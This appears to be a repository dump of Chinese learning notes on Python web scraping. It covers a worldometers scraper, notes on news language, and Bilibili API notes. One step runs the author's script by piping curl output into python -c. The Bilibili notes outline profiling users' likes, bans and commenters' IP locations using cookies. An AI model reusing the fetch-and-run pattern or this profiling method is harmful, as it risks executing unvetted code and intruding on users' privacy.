关键字匹配整行中任意字符进行替换(正则表达式整行替换)](https://blog.csdn.net/weixin_44190581/article/details/124266264) * [csdn-Linux三剑客之awk命令详解](https://blog.csdn.net/qq_57377057/article/details/126254525) ================================================ FILE: AQUICK/CPYTHON/pachong001.md ================================================ ## 简单爬虫示例一 ### 简单入门 爬虫简例: ```python import requests url = 'https://www.example.com' response = requests.get(url) # 状态码正常 if response.status_code == 200: # wb 以二进制写入,以避免出现编码转换错误和数据截断等问题,稳定且通用。 # 在 with 块中打开的资源会在块结束时自动关闭,无论原始代码是否引发异常。 with open('example.html', 'wb') as f: f.write(response.text) print('网页内容已保存到 example.html 文件!') else: print('请求失败。') ``` 文档: * https://docs.python.org/3/tutorial/inputoutput.html#reading-and-writing-files * https://requests.readthedocs.io/en/latest/ ### 更改保存位置 [吾爱破解 -【shell】压缩包密码暴破脚本 #5](https://www.52pojie.cn/forum.php?mod=redirect&goto=findpost&ptid=1775990&pid=46442685) 所提到的“提一嘴python的跨平台,可以用os.path或者[pathlib](https://docs.python.org/zh-cn/3/library/pathlib.html)模块规范化路径”。有必要试用一下。 ```python import os # 1. 获取用户下载目录(使用 os.path.expanduser 方法) download_dir = os.path.join(os.path.expanduser('~'), 'Downloads') # 2. 拼接文件路径(使用 os.path.join 方法) file_path = os.path.join(download_dir, 'example.html') ``` 整合 `file_path = os.path.join(os.path.expanduser('~'), 'Downloads', 'example.html')` 文档:[csdn-python3文件路径操作常用方法带示例详解(os.path模块,os.listdir,os.walk,os.scandir方法等)(不定期更新整理中)](https://blog.csdn.net/yl19870518/article/details/128572201) ### 转换成PDF 文档:https://github.com/JazzCore/python-pdfkit (注意 `brew install wkhtmltopdf`) ```python import pdfkit import requests url = 'https://www.example.com/' response = requests.get(url) # 将网页内容转换为 PDF 并保存到本地 pdfkit.from_string(response.text, 'example.pdf') ``` ### 整合 ```python import requests,pdfkit,os url = 'https://www.example.com' download_dir = os.path.join(os.path.expanduser('~'), 'Downloads') file_path = os.path.join(download_dir, 'example.pdf') response = requests.get(url) # 状态码正常 if response.status_code == 200: pdfkit.from_string(response.text,file_path) else: print('请求失败。') ``` ================================================ FILE: AQUICK/CPYTHON/pachong002.md ================================================ ## 简单爬虫示例二 ### 简例一 `pip install requests` ```python import requests url = 'https://www.example.com' response = requests.get(url) # 状态码正常 if response.status_code == 200: # wb 以二进制写入,以避免出现编码转换错误和数据截断等问题,稳定且通用。 # 在 with 块中打开的资源会在块结束时自动关闭,无论原始代码是否引发异常。 with open('example.html', 'wb') as f: f.write(response.text) print('网页内容已保存到 example.html 文件!') else: print('请求失败。') ``` ### 测试获取PDF文件名 方案并不完美。就 core.ac.uk 的文档而言,PASS `pip install PyPDF` ``` import PyPDF2 # 打开PDF文件 with open('/Users/chanlonhoo/Downloads/41446488.pdf', 'rb') as pdf_file: # 创建一个PDF文档读取器对象 pdf_reader = PyPDF2.PdfReader(pdf_file) # 获取第一页的标题 first_page = pdf_reader.pages[0] title = first_page.extract_text() # 输出标题 print(title) ``` ### 其他(23.4.23 9:07pm) 打算做个有关于简繁中文及日文筛选,之后看情况进行一次分类。我想中文、日文、英文做个统计,用柱状图或饼图简单分析对比一下。(优先) 竟然无法做到总量统计,那么就找关键词吧:教育、社会、经济、人口 今天对数字区间做个粗略定位,就闲暇时想看相关联的文章,把链接的数字加一或减一就行了。 4144,简中区: ``` - 41441111 电脑信息技术 - 41442077-41443077 材料化工 - 41444001 环境 - 41445011-41446015 教育、应试 - 41447011-41448015 经济 - 41449015 公共服务领域企业分析 ``` 日文没什么太多规律性,忽略;查看了37980827文献,推测香港也会输出不少英文资料,毕竟曾经香港是英治的,那么台湾的话,很有可能哦。繁中在这个网站上也没太有规律性,不少文献相对较封闭。 本想测试下繁中的,但太过封闭,而且链接多半也不规律,还是批量测一下简中的http status 200吧(靠后)。 ### 实际测试过程中(23.4.24 10:13am) chatgpt回答 ``` 如果您在代码中使用了正确的选择器,但仍然无法提取所需元素的内容,则可能是由于以下几个原因之一: 1. 该网站可能会拒绝爬虫程序访问其站点。为了防止滥用和保护其网站的稳定性,某些网站可能会限制对其内容的访问。您可以尝试使用代理服务器或更改请求头来规避此问题。 2. 所需元素可能是动态生成的。某些网站使用JavaScript动态生成其内容,这意味着在页面加载后才能够查看和提取它们。在这种情况下,您可以使用Selenium WebDriver等工具来模拟浏览器并等待页面加载后再提取所需数据。 3. 您的选择器可能不正确。请确保您正在使用正确的CSS选择器或XPath表达式来选择所需元素。您可以尝试使用Web开发工具(例如Chrome的开发者工具)来检查页面源代码,并获取所需元素的确切位置和标识符。 4. 您的Python库(如requests和BeautifulSoup)可能已损坏或未正确安装。请确保您已正确安装并使用了最新版本的这些库。 5. 如果您正在使用Windows操作系统,则可能需要在命令提示符窗口中使用chcp命令设置正确的代码页。这可以解决在使用非ASCII字符时出现乱码的问题。 如果您仍然无法解决问题,请提供更多细节,以便我们更好地了解问题所在。 ``` 接下来考虑webUI自动化的事 ================================================ FILE: AQUICK/CPYTHON/pachong003.md ================================================ # demo py ## 获取网站标题 简单的获取网站标题 demo ``` import requests from bs4 import BeautifulSoup # 定义需要爬取的网页链接 url = 'https://www.baidu.com/' # 使用requests库获取页面内容 html = requests.get(url).content # 使用BeautifulSoup解析HTML文件,并找到页面标题 soup = BeautifulSoup(html,'lxml') title = soup.title.string # 输出页面标题 print('Title is:', title) ``` 设置防爬 ``` # 设置请求头,防止反爬 headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'} # 定义需要爬取的网页链接 url = 'https://www.baidu.com/' # 使用requests库获取页面内容 html = requests.get(url, headers=headers).content ``` ## 获取网站指定元素内容0.1 因为是实时数据,所以会显示为 "世界人口: 数据获取中...",只能通过webui自动化来实现了。 参考[51cto-静态网页爬虫① ](https://blog.51cto.com/u_15743016/5549456) ``` import requests import time from bs4 import BeautifulSoup url = "https://www.worldometers.info/cn/" # 使用 requests 库获取页面内容 r = requests.get(url) html_content = r.content # 使用 BeautifulSoup 解析 HTML 文件,并找到页面中指定的元素(这里以世界人口为例) soup = BeautifulSoup(html_content, 'html.parser') world_population_element = soup.find_all('div', attrs={'class': 'counter'})[0].find('span') # 输出世界人口数据 print("世界人口:", world_population_element.text) ``` 通过 [cnblogs -(数据科学学习手札50)基于Python的网络数据采集-selenium篇(上)](https://www.cnblogs.com/feffery/p/9570171.html)、[csdn-基于python爬虫————静态页面和动态页面爬取](https://blog.csdn.net/qq_52661119/article/details/119854694) 这两篇文章,看来目前的通行办法就是webUI自动化了。 ## 获取网站指定元素内容0.2 ``` import sys from selenium import webdriver from bs4 import BeautifulSoup driver = webdriver.Chrome() # 声明浏览器对象,使用 Chrome 浏览器 driver.get("https://www.worldometers.info/cn/") # 跳转到指定网址 # 获取网页源码并传给 BeautifulSoup 解析 soup = BeautifulSoup(driver.page_source, 'html.parser') # 使用 select_one() 方法获取第一个匹配要求的元素 current_population_words = soup.select_one('span.item') # 使用 select_one() 方法获取第一个匹配要求的元素 current_population_numbers = soup.select_one('span.rts-counter') # BS文档:https://beautifulsoup.cn # selenium:https://selenium-python-zh.readthedocs.io/en/latest/index.html print(current_population_words.text, current_population_numbers.text) ``` ## demo 遍历 https://www.worldometers.info/cn 列表统计 ```python from selenium import webdriver from bs4 import BeautifulSoup # 参考 # BS文档:https://beautifulsoup.cn # selenium:https://selenium-python-zh.readthedocs.io/en/latest/index.html driver = webdriver.Chrome() # 声明浏览器对象,使用 Chrome 浏览器 driver.get("https://www.worldometers.info/cn/") # 跳转到指定网址 # 获取网页源码并传给 BeautifulSoup 解析 soup = BeautifulSoup(driver.page_source, 'html.parser') # 查找所有 current_population_words = soup.find_all('span',class_='item') current_population_num = soup.find_all('span',class_='rts-counter') for current_population_words in current_population_words: print(current_population_words.text) for current_population_num in current_population_num: print(current_population_num.text) ``` ## 格式左右不对齐 ```python # 创建一个名为 "output.csv" 的 CSV 文件 with open("output.csv", "w", newline='', encoding='utf-8-sig') as csvfile: # 指定列名 fieldnames = ['Column A', 'Column B'] writer = csv.DictWriter(csvfile, fieldnames=fieldnames) # 写入表头 writer.writeheader() for current_population_words in current_population_words: # 写入数据 writer.writerow({'Column A': current_population_words.text}) for current_population_num in current_population_num: writer.writerow({'Column B': current_population_num.text}) ``` ## 理想情况 A列数与比B列数相一致,但堕胎项存在重复 ```python # 查找所有 current_population_words = soup.find_all('span',class_='item') current_population_num = soup.find_all('span',class_='rts-counter') # 创建一个名为 "output.csv" 的 CSV 文件 with open("output.csv", "w", newline='', encoding='utf-8-sig') as csvfile: # 指定列名 fieldnames = ['Column A', 'Column B'] writer = csv.DictWriter(csvfile, fieldnames=fieldnames) # 写入表头 writer.writeheader() for i in range(num_elements): row_data = {'Column A': current_population_words[i].text, 'Column B': current_population_num[i].text} writer.writerow(row_data) ``` ## 卡bug 最后通过if continue这样卡bug搞定,故意从53行开始,而excel却是按着52行表写的,抵消掉了多余重复行带来的困扰。 ```python # 重复值标记 duplicate_value = 1 # 下标数以current_population_num为准 num_elements = len(current_population_num) # 创建一个名为 "output.csv" 的 CSV 文件 with open("output.csv", "w", newline='', encoding='utf-8-sig') as csvfile: # 指定列名 fieldnames = ['Column A','Column B'] writer = csv.DictWriter(csvfile, fieldnames=fieldnames) # 创建一个名为 "output.csv" 的 CSV 文件 with open("output.csv", "w", newline='', encoding='utf-8-sig') as csvfile: # 指定列名 fieldnames = ['Column A', 'Column B'] writer = csv.DictWriter(csvfile, fieldnames=fieldnames) # 写入表头 writer.writeheader() for i in range(num_elements): duplicate_value = duplicate_value+1 if duplicate_value == 52: continue row_data = {'Column A': current_population_words[i].text, 'Column B': current_population_num[i].text} writer.writerow(row_data) ``` ================================================ FILE: AQUICK/CPYTHON/pachong004.md ================================================ # 写了一个关于 worldmeter 的爬虫 worldometerworldometer这里提供关于人口、政府、经济、社会、媒体、环境、食物、水、能源和健康的世界实时统计数据的网站。实时数据,一时半会没什么用,看个乐子,但如果我们想它保存为季度、年度的分类,那价值还挺高的。基于这个想法,我才做的这方面的爬虫。 这是第三次写python脚本了吧,第一次是jupyter测试写笔记、玩玩简单数据可视化,第二次是NTFS for Mac,第三次就爬虫这次了,之后再此基础上,整点数据可视化的东西看看效果。 爬虫csv效果(仅39、40,略有瑕疵,删掉多余 `=-` ,问题不大) ![](https://s2.xptou.com/2023/04/27/64495cb2a2439.png) 本地及在线测试图 ![](https://s2.xptou.com/2023/04/27/6449ce821f7d9.png) 在线测试 `python -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/d-python/get_worldometers.py)"` ![](https://s2.xptou.com/2023/04/27/6449ce821f7d9.png) **Windows运行的话,一般是在c:/Windows/System32或自己的家目录** 附源码:https://github.com/hoochanlon/ihs-simple/blob/main/d-python/get_worldometers.py ```python from selenium import webdriver from bs4 import BeautifulSoup import csv from datetime import datetime # 参考 # BS文档:https://beautifulsoup.cn # selenium:https://selenium-python-zh.readthedocs.io/en/latest/index.html # ------------- webUI初始化配置 ---------------------------- driver = webdriver.Chrome() driver.get("https://www.worldometers.info/cn/") # 获取网页源码并传给 BeautifulSoup 解析 soup = BeautifulSoup(driver.page_source, 'html.parser') # ------------将获取的数据提取出特定列,并写入到创建的csv------------- # # 查找所有 current_population_words = soup.find_all('span',class_='item') current_population_num = soup.find_all('span',class_='rts-counter') # ---------- 新增:以时间作为文件名后缀(2023-4-26) --------------- # 获取当前时间 now = datetime.now() # 将时间格式化为指定的字符串格式 formatted_time = now.strftime('%Y-%-m-%-d') # ------------ 将获取的数据提取出特定列 --------------------------- # 重复值标记 duplicate_value = 1 # 下标数以current_population_num为准 num_elements = len(current_population_num) # 创建一个名为 "output.csv" 的 CSV 文件(旧) # {} 占位符,在字符串中使用 {},在 .format() 中传入相应的变量或者值来替换它 with open("worldometers_{}.csv".format(formatted_time), "w", newline='', encoding='utf-8-sig') as csvfile: # 指定列名 fieldnames = ['Column A','Column B'] writer = csv.DictWriter(csvfile, fieldnames=fieldnames) # 写入表头 writer.writeheader() for i in range(num_elements): duplicate_value = duplicate_value+1 if duplicate_value == 52: continue row_data = {'Column A': current_population_words[i].text, 'Column B': current_population_num[i].text} writer.writerow(row_data) ``` ## worldmeter后记 ### 缘起 一开始本打算写开放研究论文综合搜索 [core.ac.uk](https://core.ac.uk) 的批量下载并匹配文献书名的爬虫,但后来一想,自己似乎没什么实质性的必要。以前看知网、复印刊、院校报(社科版)的比较多,后来随着工作与生活中的琐事所占时间越来越多,相对来说逐渐慢慢地也看得少了,一个月下来,平时偶尔看了一两篇就不错了。 举个例来说,就以[陈武元-《日本高等教育与经济发展的关系》](https://core.ac.uk/download/pdf/41446488.pdf) 链接为例 * https://core.ac.uk/download/pdf/41446488.pdf * https://core.ac.uk/reader/41446488 download、reader都挺有规律性的,将“41446488”改成 https://core.ac.uk/reader/41446487,就是《日本高等教育改革的动向》的论文。也挺适合爬的,但没这么做,原因前面也说了。后来搜集统计相关的资料,找到了[knoema](https://cn.knoema.com)、[worldometers](https://www.worldometers.info/cn/),看到[worldometers](https://www.worldometers.info/cn/)实时动态数据也还不错,但没做年度报表,那么就让我帮他写一个吧。 ### 遇到三个主要问题 **跨语言快速上手例子的选择上** [51cto-静态网页爬虫①](https://blog.51cto.com/u_15743016/5549456),倒是给我启发还蛮大的,因为网上搜的例子稍较复杂,基础例子又太过“敷衍”了。从它的给出例子,再看看[BS官方文档](https://beautifulsoup.cn)、[selenium官方文档](https://selenium-python-zh.readthedocs.io/en/latest/index.html),代码编写与调试的起步就舒服多了。 **获取网站动态内容的延迟问题** 在requests与time.sleep配合依旧是“获取数据中”的状态,那就以慢制慢咯,反爬也随缘处理,使用 webUI自动化来解决了。还有参考了[cnblogs -(数据科学学习手札50)基于Python的网络数据采集-selenium篇(上)](https://www.cnblogs.com/feffery/p/9570171.html)、[csdn-基于python爬虫—静态页面和动态页面爬取](https://blog.csdn.net/qq_52661119/article/details/119854694)也是让我选择webUI自动化的原因。 ![](https://s2.xptou.com/2023/04/27/6449cac7b4486.png) **下标数据存在重复项及其解决方案选取问题** "Abortions this year"的中文项span class索引52存在重复的问题,英文版没有;但也存在其他class值选取上的难点。根据代码运行测试观察发现,只要做个标记值用`if continue`就好了。至于其他xlsx、csv追加、拼接、文件合并,调试起来有些麻烦,尤其是在Mac上,难说vb行不行得通,对于我来说不太适用,自己也不大喜这偏方。 注意源码的`current_population_words = soup.find_all('span',class_='item')`与 `if continue` 部分 简中版 ![](https://s2.xptou.com/2023/04/27/6449c6c2606f7.png) 原版 ![](https://s2.xptou.com/2023/04/27/6449c770d6430.png) ### 跨语言的综合感受 个人方面,跨语言有时语法搞混,实际上跟你切macOS/win10 UI及快捷键有点类似,一般都是用到才拿出来,适应一小段时间就好了。通常来说,备手基础文档,然后就是一个例子之类的,之后再结合自己的想法,接下来就是,如何去变通与实现了。 写python爬虫和shell/batch自动化,算是两个不同方向吧。一个偏web浏览器,涉及html/css/js 之类,以及网络应用层等方面的知识;另一个偏向系统软件、存储文件属性这方面吧。说难度吧,shell/batch好方便入手,其实也是看谁方便用谁,明确知道自己想要什么,就行。但往深了走,实际上没什么行业又是不难的。 ================================================ FILE: AQUICK/CPYTHON/pacong005.text ================================================ ## 0x01 热搜通常是指搜索量较高的热门话题,它们往往是人们最为关注和讨论的话题。在热搜中,使用副词的频率可能会比一般新闻报道更高,因为这些话题往往涉及到更多的情感表达、评论和解读。 具体来说,热搜中使用副词的频率会受到以下几个方面的影响: 话题的性质:如果热搜中的话题属于社会热点、娱乐八卦、体育赛事等领域,那么使用副词的频率可能会比较高,因为这类话题更容易引起人们的情感共鸣和争议。 媒体的倾向:不同的媒体有不同的报道风格和定位,一些媒体可能更加注重主观解读和情感表达,因此在其报道中使用副词的频率可能也会相应提高。 受众的需求:热搜话题的受众非常广泛,他们对于话题的态度、看法和立场各不相同,一些人希望了解更多的事实和数据,而另一些人则更关注情感表达和个人意见。因此,在处理热搜话题时,使用副词的频率也会有所不同。 总之,热搜中使用副词的频率与话题本身、媒体的报道风格以及受众需求等因素密切相关。热搜中出现的语言往往是口语化、俚语化的,甚至有些是新词或者网络流行语。因此,对于热搜中的语言分析,需要具备一定的语言学知识和对当下社会文化的了解。 关于副词和状语的划分,其实也是一个比较复杂的问题。一般来说,副词是修饰动词、形容词、其他副词或整个句子的词,而状语则是表示时间、地点、方式、原因等情况的成分,可以是一个单词,也可以是短语或从句。但在实际语境中,有些副词也可以兼有状语的功能,例如"他快速地跑回家"中的"快速地"即可以看作是副词,也可以看作是描述跑步方式的状语。 总之,要准确地找出副词、状语,并进行语言分析,需要综合考虑语言学理论、实际语境以及对当下社会文化的了解。 ## 0x02 Stanza 库是一个自然语言处理工具包,它基于现代神经网络和深度学习技术来进行文本处理。在数字识别方面,Stanza 库使用了先进的文本分析算法来对文本进行自动分词和词性标注等操作,并可以精确地识别出数字。因此,在你提及“二百五”这个词时,Stanza 库会将其识别为一个数字,因为它实际上是一个基数词,表示数字 250。但需要注意的是,即使Stanza库能够识别数字,它并不能理解数字所代表的含义或情感色彩,如同样的数字在不同的上下文中可能会有不同的含义,这需要更高级的自然语言处理技术来进行理解和分析。 ## 字典分类 从分类上来看,理论上数据越多,相对也就越精确。 ``` category_keywords = { '社会': ['强盗', '刺杀', '击毙', '抢劫', '砍死', '车祸', '坠楼', '爆炸', '火灾', '失踪', '遇害','骚扰', 毒品', '性侵', '猥亵', '打架', '斗殴'], '娱乐': ['婚礼', '离婚', '恋情', '绯闻', '受贿', '吸毒','自曝'], '政治': ['独立','日治台湾','英治香港','资本主义','国家'], '科技': ['AI', '区块链', '5G', '卫星', '智能手机', '电子竞技', '网络安全', '虚拟现实'], '体育': ['世界杯', '奥运会', '冠军', '进球', '比赛', '退役', '受伤', '养伤', '乌龙球', '犯规'] } ``` ## chatgpt回答有关于“语言”的问题 ### 定语 #### 定语词汇 定语是用来修饰名词或代词的语言成分,其作用是进一步具体化、说明名词或代词所表示的事物的性质、特征、状态、数量等。常见的定语包括以下几种类型: * 形容词:表示某物的性质、特征或状态,如“红色的”,“漂亮的”等。 * 名词:用名词来修饰另一个名词,如“学生宿舍”。 * 动词的现在分词:表示某种状态或行为正在进行,如“唱歌的人”。 * 动词的过去分词:表示某种状态或行为已经完成,如“写好的论文”。 * 数词:表示数目或数量属性,如“两个苹果”。 * 代词:用代词来修饰另一个名词,如“我的书”。 * 副词:表示程度或方式等,如“非常美丽的风景”。 * 介词短语:通过介词短语来修饰名词,如“在家里的桌子”。 * 不定式:用不定式来修饰名词,如“要做的事情”。 以上就是一些常见的定语词汇类型。不同类型的定语有不同的修饰作用,可以对名词起到更加精准的修饰说明作用,使其更具体、更清晰明了。**定语体系非常庞大,因为从语法上来说,几乎任何一种词类都可以作为定语。此外,在实际使用中,人们经常创造新的定语形式,以便更加精确地表达自己的意思。因此,只要是用来修饰名词或代词的语言成分,都可以被看作是定语。** 在实际应用中,我们需要具备较强的语言能力和文化背景知识才能够清晰地理解和运用各种定语类型。在语言学的研究中,也有很多对定语进行分类和定义的研究,以更好地揭示和理解其语言学本质和文化特色。 看新闻时要注意到定语的原因是定语能够提供更多的信息,帮助我们更好地理解新闻内容。新闻报道中的词汇往往会有很多限制性和非限制性定语,这些定语可以为新闻内容提供更精确的描述,从而让读者更好地理解事件或事物的特征、背景等信息,并对新闻内容做出更准确的判断。比如,在一篇报道中,我们可能会看到这样的句子:“经过长时间的调查,警方终于找到了一名涉嫌杀人的嫌疑人。”这个句子中,定语“经过长时间的调查”和“涉嫌杀人的”都是非常重要的,它们为新闻事件的发生过程和嫌疑人的身份提供了关键信息。如果我们忽略了这些定语,我们就可能会误解新闻事件的真实情况。因此,在看新闻时,理解并注意定语的使用是非常重要的。 不同的新闻主题、类型、风格等方面都会影响其使用定语的频率。但是从整体上看,新闻中相对较多的是谓语和宾语,主语和状语次之,使用定语的频率相对较低。这是因为新闻报道注重简洁准确,强调信息的直达,过多的修饰方式可能会影响信息传递的效果。但是在某些特定类型的新闻中,如文艺评论、文化报道等,则可能会出现更多的定语修饰,以表现出文章的细节和情感色彩。 在新闻报道中,定语可以通过形容词或者形容性的短语来修饰名词,从而对事物进行具体的描述和限定,补充了它的特点和属性。**由于形容词所传递的信息往往更为丰富、细致,因此使用定语可以更加精准地传达作者的态度情感、观点和感受,进而影响读者对新闻事件的感知和理解。** 通过使用一些具有情感色彩的形容词或短语,如“温馨的场面”、“残酷的现实”、“痛苦的回忆”等,定语可以为新闻报道增添一些文学化的情感色彩,提升新闻的艺术性和吸引力,更好地满足读者的审美需求。 名词和形容词都可以用作定语,具体使用哪一种取决于所描述的对象以及表达的意思。一般来说,名词作为定语时会更加具体和直接,而形容词则更加主观和抽象。举例来说,如果想要描述一只猫的颜色,可以使用形容词(例如 "黑色的猫"),也可以使用名词(例如 "黑猫")。但如果想要描述一个公司的业务领域,则使用名词作为定语更加合适,例如 "金融科技公司"。不过需要注意的是,名词和形容词虽然可以互相替换,但在不同的语境下可能有不同的含义,需要根据具体情况进行选择。 ### 为什么有些动词会有形容词那种生动的画面感,被些政客用到就是植入意识色彩咯? 有些动词由于具有形象、直观的意义,因此衍生出的形容词也往往带有强烈的视觉效果或真实感受。这种现象可以称为“视觉化”或“感官化”。通常这些形容词与一些动作相关,例如 "滴答滴答"、"咔嚓一声"、"飞快地跑" 等等,它们能够让读者通过简短而精准的语言,更加生动地感受到文本中所描写的情景。此外,这些形容词的使用也可以增强文章的情感色彩,让读者更加深入地理解作者的内心世界。因此,这种形容词在文学作品和日常生活中都被广泛使用。 您提出的问题本质上涉及了语言运用在不同领域中所产生的差异。动词和形容词作为语言的重要组成部分,它们通过在语境中的使用来进行信息传递和意义表达。在文学作品和日常交流中,视觉化或感官化的形容词被广泛应用,能够让读者产生强烈的画面感受和情感共鸣,具有很高的表现力和感染力。但在政治、广告等领域中,这种效果也被广泛应用,被称为"植入性广告"或"洗脑广告"。这些广告利用了人类感知机理的特殊性质,通过不断重复和强调某个语言单位(如一个词、一个形容词等),以期达到心理暗示和价值观塑造的目的。因此,我们需要通过批判性思维和思辨能力,识别并避免意识形态色彩的植入。 ### 原则上的语言表达与现实的反差 非常感谢您提供的问题。根据您提供的互联网知识,可以看出新闻中相对较多的是谓语和宾语,主语和状语次之,定语的频率通常是相对较低的。这种情况在英文的新闻报道中尤为明显,因为英语语言的语序较为严谨,新闻语言也必须尽可能简洁、准确、清晰地传递信息。 然而,实际的国内新闻报道的情况却有所不同。一些新闻媒体在报道时更注重语言的表现力和感染力,会大量使用形容词、定语等修饰语,以突出事物的特征和个性化。此外,还有一些精心编辑的新闻标题和导语,采用了较为夸张、渲染的手法,以吸引读者的眼球,增强新闻的点击量和影响力。这种现象可能与媒体市场形式以及受众需求等因素有关,需要结合具体情况加以分析。知识来源链接: 参考来源: * [知乎 - 英语新闻标题有哪些规则?](https://www.zhihu.com/question/340307817) * [知乎专栏 -【秒懂语法】状语是什么?干什么用的?](https://zhuanlan.zhihu.com/p/40109772) 文本挖掘技术通常包括以下几个步骤: 1. 首先,对原始文本数据进行预处理,如文本分词、去除噪声、提取关键词等。 2. 其次,根据研究的需要,选择适当的算法和模型进行特征提取、分类、聚类、情感分析等操作。 3. 最后,根据实际需求将挖掘结果进行可视化、报告或整合。 数据清洗虽然也属于数据预处理的范畴,但是它在文本挖掘中并不算作一种方法。文本挖掘主要是指从文本数据中获取有价值的信息和知识,而数据清洗则是为了解决数据质量问题而进行的数据预处理步骤。 ### 状语 确实,定语是用来修饰名词、代词,包括前置定语和后置定语两种形式;而状语则是修饰动词、形容词或者副词,提供有关动作或状态的信息。 ### 宾补 可以明确的是,本质上宾补和定语都是用来修饰名词或代词的语言成分,它们可以补充、限定、描述或者说明名词或代词的状态、性质、特征或所处的状态等等。需要注意的是,宾补和定语都可以用形容词来构成,但宾补和定语是两种不同的语法成分,具有不同的语法作用。 宾语补足语本身是语言学中的一种语法成分,是用来描述句子中动宾关系的一种修饰语。但是,由于人们在日常生活中使用语言时往往是带有情感色彩的,因此对于某些话题或具体的语句,可能会让人联想到某些特定的情感或体验。此外,宾语补足语也经常出现在文学作品、电影剧本等情境中,这些作品往往具有强烈的情绪化表达和描写,所以我们可能会将宾语补足语与情感色彩联系在一起。因此,你感觉宾语补足语充满了一种浓浓的情绪化,也许是受到了这些因素的影响。 新闻报道中的宾补一般用于补充说明宾语的状态或者是为了进一步描述宾语。通过对宾语进行进一步的修饰和描述,宾补可以起到强调、夸张或评价的作用,从而使得新闻报道更具有感染力和表现力。例如,在报道一场比赛时,可以使用宾语补足语"击败对手"来描述获胜方的状态,或者使用宾语补足语"被狠狠批评"来描述某个人受到的惩罚或责备。在新闻报道中适当地使用宾补能够使报道更加准确、生动、鲜明,并让读者更好地理解和接受新闻内容。 ================================================ FILE: AQUICK/CPYTHON/pythonBshit001.md ================================================ ## 基础信息 https://account.bilibili.com/api/member/getCardByMid?mid=212535360 https://api.bilibili.com/x/space/acc/info?mid=298220126(容易风控) 价值信息: 性别、年龄真实的参考性不大,只能读出如今世代的人们,不少对隐私方面还蛮重视的。 签名,从一定程度上,可以判定对B站平台定制化内容方面的参与度,爱好这方面的个性化。 文章数量,在该平台上的文字内容贡献。 ``` name sex birthday sign article ``` 标签设置的人相对小众,忽略。 https://api.bilibili.com/x/space/acc/tags?mid=1556651916 用户关注对象,ID转用户名 ## 点赞 最近点赞的视频,从一定程度上可以反应其取向,但有时是流水刷的,或操作失误点的。外人访问一般是未公开了。 https://api.bilibili.com/x/space/like/video?vmid=212535360 判断方面,如果没有 tname、title 字段,直接置N/A 或 "用户隐私设置未公开"。 ## 收藏与带货 整体看上去不是特别准。位置:https://github.com/SocialSisterYi/bilibili-API-collect/blob/master/docs/user/space.md https://api.bilibili.com/x/v3/fav/folder/collected/list?up_mid=293793435&ps=20&pn=1 查看用户的发布课程: https://api.bilibili.com/pugv/app/web/season/page?mid=33683045&ps=5&pn=1 https://api.bilibili.com/pugv/app/web/season/page?mid=298220126&ps=5&pn=1 ## 警告信息与黑名单 用户的警告信息,搜索 notice 关键字:https://github.com/SocialSisterYi/bilibili-API-collect/blob/master/docs/user/info.md 调查用户的警告信息有风控,见:https://github.com/SocialSisterYi/bilibili-API-collect/blob/master/docs/misc/sign/wbi.md 黑名单 https://api.bilibili.com/x/credit/blocked/info?id=1556651916 ``` curl -G 'https://api.bilibili.com/x/credit/blocked/info' \ --data-urlencode 'id=1091621' ``` 出处:https://github.com/SocialSisterYi/bilibili-API-collect/blob/master/docs/blackroom/banlist.md ## 评论 热门评论API:https://api.bilibili.com/x/v2/reply/main?next=1&type=1&oid=402448083 差不多:https://api.bilibili.com/x/v2/reply?jsonp&type=1&oid=402448083&sort=2&pn= 评论点赞数:https://github.com/SocialSisterYi/bilibili-API-collect/blob/master/docs/comment/readme.md json格式值 ```shell # 用户ID json['data']['replies'][0]['member']['mid'] # 用户名 json['data']['replies'][0]['member']['uname'] # 评论 json['data']['replies'][0]['content']['message'] # 归属地 json['data']['replies'][0]['reply_control']['location'] # 时间戳 json['data']['replies'][0]['ctime'] # 点赞数 json['data']['replies'][0]['like'] # 总回复 json['data']['replies'][0]['reply_control']['sub_reply_entry_text'] ``` ## 差异 在浏览器常规访问下能正常通过`json['data']['replies'][0]['reply_control']['location']` 调用。 但是不带cookie是无法获取到`json['data']['replies'][0]['reply_control']['location']`的,不存在这一项。 webUI自动化,登录b站,获取元素内容,加载json,获取IP归属。 默认值及最大是20条评论 评论取出来的条目数有时候是20条,有时候是15条,每条评论都不一定是一样的。 ## cookie 1. 用你的浏览器,打开开发者工具,找到cookie 1. https://uutool.cn/cookie2json/ 将cookie转换为json格式 ## webdriver webdriver的源文件通常不太固定。 ![](https://cdn.jsdelivr.net/gh/hoochanlon/scripts/AQUICK/image-20230626235547297.png) ![image-20230626235547297](https://cdn.jsdelivr.net/gh/hoochanlon/scripts/AQUICK/image-20230626235547297.png) ================================================ FILE: AQUICK/CPYTHON/readme.md ================================================ # 用 chatgpt 学 python 简单示例 ### 爬虫API 以下是Python爬虫相关文档,可以供您参考: * Python官方文档:https://docs.python.org/3/library/index.html * requests库文档:https://docs.python-requests.org/en/latest/ * BeautifulSoup库文档:https://www.crummy.com/software/BeautifulSoup/bs4/doc/ * Scrapy框架文档:https://docs.scrapy.org/en/latest/ * Selenium库文档:https://selenium-python.readthedocs.io/ * PyQuery库文档:https://pyquery.readthedocs.io/en/latest/ * Regex正则表达式文档:https://docs.python.org/3/library/re.html * PDFKit库文档:https://pdfkit.org/docs/ * WeasyPrint库文档:https://weasyprint.readthedocs.io/en/latest/ 这些文档包含了Python爬虫中常用的工具和技术的详细介绍和使用方法。通过阅读这些文档,您可以更深入地了解Python爬虫的工作原理、常见问题和解决方案等内容,并且能够根据自己的需求来选择合适的工具和库进行开发。以下是常用的Python爬虫库和框架以及它们的主要目的: ``` * requests:一个Python HTTP客户端库,可以轻松地向Web服务器发送HTTP请求并获取响应数据。 * BeautifulSoup:一个HTML和XML解析器,用于从Web页面中提取信息或解析XML结构化文档。 * Scrapy:一个Python Web爬虫框架,可以通过简化爬虫开发流程来快速抓取大量网页数据。 * Selenium:一个自动化Web测试工具,可以使用Python编写脚本来控制浏览器进行动态网站的爬取和操作。 * PyQuery:类似于jQuery的Python库,用于解析HTML和XML文档并进行选择和操作元素。 * Regex:Python标准库中的正则表达式模块,用于匹配和搜索字符串文本中的模式。 * PDFKit:一个Python wkhtmltopdf包装器,可以使用HTML和CSS生成PDF文件。 * WeasyPrint:用于将HTML和CSS转换为PDF文件的Python库。 ``` 